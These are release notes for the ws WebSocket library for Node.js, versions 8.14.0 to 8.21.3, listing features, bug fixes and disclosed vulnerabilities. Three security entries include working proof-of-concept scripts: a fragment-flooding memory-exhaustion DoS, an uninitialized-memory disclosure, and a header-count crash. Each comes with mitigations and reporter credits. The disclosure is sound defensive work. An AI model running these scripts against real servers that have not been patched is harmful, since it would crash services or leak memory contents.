Release Notes

websockets/ws (ws)

v8.21.3

Compare Source

Bug fixes

• The server now correctly rejects permessage-deflate offers if the incoming
  client_max_window_bits parameter value is smaller than its configured
  clientMaxWindowBits (e97a20e).

v8.21.2

Compare Source

Bug fixes

• Fixed a test for CITGM (2eb3be0).

v8.21.1

Compare Source

Bug fixes

• Empty fragments are now counted toward the limit (a2f4e7c).
• The default values of the maxBufferedChunks and maxFragments options have
  been reduced (f197ac6).

v8.21.0

Compare Source

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd4).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd4).

A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.

v8.20.1

Compare Source

Bug fixes

• Fixed an uninitialized memory disclosure issue in websocket.close()
  (c0327ec).

Providing a TypedArray (e.g. Float32Array) as the reason argument for
websocket.close(), rather than the supported string or Buffer types, caused
uninitialized memory to be disclosed to the remote peer.

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

The issue was privately reported by Nikita Skovoroda.

v8.20.0

Compare Source

Features

• Added exports for the PerMessageDeflate class and utilities for the
  Sec-WebSocket-Extensions and Sec-WebSocket-Protocol headers (d3503c1).

v8.19.0

Compare Source

Features

• Added the closeTimeout option (#​2308).

Bug fixes

• Handled a forthcoming breaking change in Node.js core (1998485).

v8.18.3

Compare Source

Bug fixes

• Fixed a spec violation where the Sec-WebSocket-Version header was not added
  to the HTTP response if the client requested version was either invalid or
  unacceptable (#​2291).

v8.18.2

Compare Source

Bug fixes

• Fixed an issue that, during message decompression when the maximum size was
  exceeded, led to the emission of an inaccurate error and closure of the
  connection with an improper close code (#​2285).

v8.18.1

Compare Source

Bug fixes

• The length of the UNIX domain socket paths in the tests has been shortened to
  make them work when run via CITGM (021f7b8).

v8.18.0

Compare Source

Features

• Added support for Blob (#​2229).

v8.17.1

Compare Source

Bug fixes

• Fixed a DoS vulnerability (#​2231).

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in #​2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the
   --max-http-header-size=size and/or the maxHeaderSize options so
   that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

• The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

• The default value of the allowSynchronousEvents option has been changed to
  true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

v8.16.0

Compare Source

Features

• Added the autoPong option (01ba54e).

v8.15.1

Compare Source

Notable changes

• The allowMultipleEventsPerMicrotask option has been renamed to
  allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

v8.15.0

Compare Source

Features

• Added the allowMultipleEventsPerMicrotask option (93e3552).

v8.14.2

Compare Source

Bug fixes

• Fixed an issue that allowed errors thrown by failed assertions to be
  swallowed when running tests (7f4e1a7).

v8.14.1

Compare Source

Bug fixes

• Improved the reliability of two tests for CITGM (fd3c64c).

v8.14.0

Compare Source

Features

• The WebSocket constructor now accepts HTTP(S) URLs (#​2162).
• The socket argument of server.handleUpgrade() can now be a generic
  Duplex stream (#​2165).

Other notable changes

• At most one event per microtask is now emitted (#​2160).
